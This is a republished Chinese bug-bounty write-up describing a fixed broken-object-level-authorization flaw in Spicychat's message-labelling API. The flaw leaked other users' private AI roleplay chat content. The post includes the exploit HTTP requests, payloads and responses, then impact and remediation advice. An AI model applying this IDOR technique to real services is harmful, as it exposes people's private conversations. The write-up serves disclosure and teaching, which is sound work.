0185.绕过人工智能聊天隐私:BOLA漏洞如何泄露Spicychat上的私人信息(赏金700美元)"

admin 2026-10-20 07:08:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

0185.绕过人工智能聊天隐私:BOLA 漏洞如何泄露 Spicychat 上的私人信息(赏金 700 美元)

原创

Kenjisubagja
Kenjisubagja

Rsec

2026年7月10日 15:23
贵州

在小说阅读器读本章

去阅读

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:BOLA

各位漏洞赏金猎人和网络安全爱好者们,大家好!在本文中,我想分享我最近发现的一个中等严重程度的漏洞,该漏洞为我赢得了 700 美元的赏金。

此次攻击的目标是 Spicychat ,这是一个热门平台,用户可以在该平台上与 AI 角色进行角色扮演和对话。在这样一个用户与 AI 进行高度私密、敏感或露骨的角色扮演聊天应用中,隐私是绝对的重中之重。

在评估过程中,我发现了一个对象级授权失效(BOLA/IDOR) 漏洞。虽然用于读取私密对话的主要端点完全安全,但用于“标记”或“评分”消息的辅助端点却完全缺少授权检查。这一漏洞不仅允许攻击者篡改其他用户的消息数据,还能泄露私密消息的明文内容。

以下是该漏洞的技术分析。

架构与缺陷

与许多现代平台一样,Spicychat 允许用户对 AI 回复进行评分或标记(例如,将消息标记为“有趣”、“好”或“坏”),以改进 AI 模型。

查看对话的主要入口点会正确检查已认证用户是否为该聊天的发起者:

GET /api/v1/characters/[REDACTED]/messages/[CONVERSATION_ID]

如果未经授权的用户尝试查看会话,服务器会正确地抛出 401 Conversation view operation denied 。核心授权边界非常牢固。

然而,开发人员常常忘记对辅助功能性端点应用同样的严格检查。我发现负责更新消息标签的端点没有验证请求者是否确实是父对话的所有者:

POST /api/v1/messages/{message_id}/label

如果攻击者知道或能够获取有效的 message_id (UUID),他们就可以为其添加标签。服务器不仅会接受这种未经授权的修改,还会将整个目标消息对象反映到响应正文中,从而有效地泄露私聊内容。

概念验证(利用步骤)

为了在不影响真实用户的情况下安全地演示这一点,我设置了两个受控测试帐户:帐户 A (受害者)和帐户 B (攻击者)。

第一步:受害者发起私密对话

账户 A 与 AI 角色发起私聊并生成一条消息。API 会为这条消息分配一个 UUID:

{  \"conversation_id\": \"fb5c06dc-e800-4042-8df6-[REDACTED]\",  \"messages\": [    {      \"conversation_id\": \"fb5c06dc-e800-4042-8df6-[REDACTED]\",      \"role\": \"user\",      \"id\": \"19fc6892-e1f2-4fca-8da5-[REDACTED]\",      \"content\": \"Secret-Private-Message-Content-Here\",      \"createdAt\": 1778876803910    }  ]}

步骤二:验证安全基线

账户 B(攻击者)尝试使用标准聊天查看端点直接读取账户 A 的对话。

GET /api/v1/characters/[REDACTED]/messages/fb5c06dc-e800... HTTP/2Authorization: Bearer 

结果: 服务器采取安全措施,拒绝了该请求。

{  \"status\": 401,  \"message\": \"Conversation view operation denied.\",  \"errorCode\": \"SC-001-1803\"}

步骤 3:通过消息标签绕过 BOLA

由于直接访问被阻止,账户 B 使用属于账户 A 的特定 message_id 来攻击存在漏洞的标签端点:

POST /api/v1/messages/19fc6892-e1f2-4fca-8da5-[REDACTED]/label HTTP/2Host: api.[REDACTED].comAuthorization: Bearer Content-Type: application/json
{  \"message_id\": \"19fc6892-e1f2-4fca-8da5-[REDACTED]\",  \"label\": \"funny\"}

易受攻击的响应: 服务器返回 200 OK ,并将整个被篡改的消息对象返回给攻击者:

{  \"message\": \"success\",  \"result\": {    \"conversation_id\": \"fb5c06dc-e800-4042-8df6-[REDACTED]\",    \"role\": \"user\",    \"id\": \"19fc6892-e1f2-4fca-8da5-[REDACTED]\",    \"content\": \"Secret-Private-Message-Content-Here\",    \"createdAt\": 1778876803910,    \"rating\": \"funny\"  }}

影响

通过绕过预设的授权模型,已认证的攻击者可以:

  • 披露私人数据:

使用成功的标签响应作为消息披露预言机来读取私人、露骨或敏感的 AI 角色扮演聊天记录。
* 篡改数据(数据完整性):

修改其他用户拥有的私人消息的评分/标签元数据,可能会污染平台的 AI 训练反馈循环和质量指标。

虽然利用此漏洞需要知道 message_id UUID(这增加了防止大规模抓取的难度),但完全缺乏对象级授权仍然对目标用户构成重大的隐私风险。

补救措施

这个问题的解决方法很简单,但至关重要。后端在接受任何标签更新或状态变更之前,必须:

  • 在服务器端解析 message_id 以找到其父 conversation_id 。
  • 检查访问控制列表 (ACL) 以确认请求用户是否拥有或被授权查看该特定对话。
  • 如果授权失败,则在处理变更或返回任何消息内容之前,立即返回 403 Forbidden 或 404 Not Found 。

Spicychat 的安全团队专业地处理了这份报告,部署了补丁程序,并向发现漏洞者悬赏了 700 美元。

结论

在排查 BOLA/IDOR 漏洞时,不要只关注主要端点( GET /profile 、 GET /messages )。务必检查次要功能,例如添加收藏、内容评分、举报或标记项目。开发人员往往只关注前门安全,却忽略了侧门的安全防护。

感谢阅读,祝您编程愉快!


0185.绕过人工智能聊天隐私:BOLA漏洞如何泄露Spicychat上的私人信息(赏金700美元)" 网络安全文章

0185.绕过人工智能聊天隐私:BOLA漏洞如何泄露Spicychat上的私人信息(赏金700美元)"

本文披露了Spicychat平台上一个对象级授权失效(BOLA/IDOR)漏洞,该漏洞允许攻击者通过未授权访问消息标签端点来泄露私密AI聊天内容。漏洞赏金为700美元。核心问题在于辅助功能端点缺少授权检查,修复建议是在处理标签更新前验证用户对父对话的访问权限。建议安全测试时关注次要功能端点的授权。
新华社:今年以来全国公安机关共查处网络谣言案8000余起" 网络安全文章

新华社:今年以来全国公安机关共查处网络谣言案8000余起"

公安部7月9日发布数据,今年以来全国公安机关侦办网络黑客犯罪案件1900余起、网络谣言案件8000余起,关停违法违规账号2.3万余个,清理违法有害信息50万余条。同时持续整治网络水军、网络暴力等突出问题,并加强个人信息保护,曝光违规App470款,推广国家网络身份认证服务。下一步将继续高压严打网络违法犯罪,营造清朗网络环境。
2025年度中央预算审计报告出炉,企业项目申报与资金使用必盯这些雷区" 网络安全文章

2025年度中央预算审计报告出炉,企业项目申报与资金使用必盯这些雷区"

2025年度中央预算审计报告揭示财政资金监管四大问题领域:预算执行与转移支付资金分配跑偏、专项债券项目虚报收益套取资金、专项资金被挤占挪用和闲置浪费、项目建设审批不严与绩效缺失。企业项目申报与资金使用需重点审查八大方面,包括申报真实性、政策匹配度、资金合规性、审批程序、建设进度、绩效目标达成、财务核算规范及整改落实。绩效评价成为核心监管抓手,企业须建立全生命周期绩效管控体系,确保目标可量化、过程可追溯、结果可兑现,否则将面临资金追缴、限制申报等处罚。
评论:0   参与:  0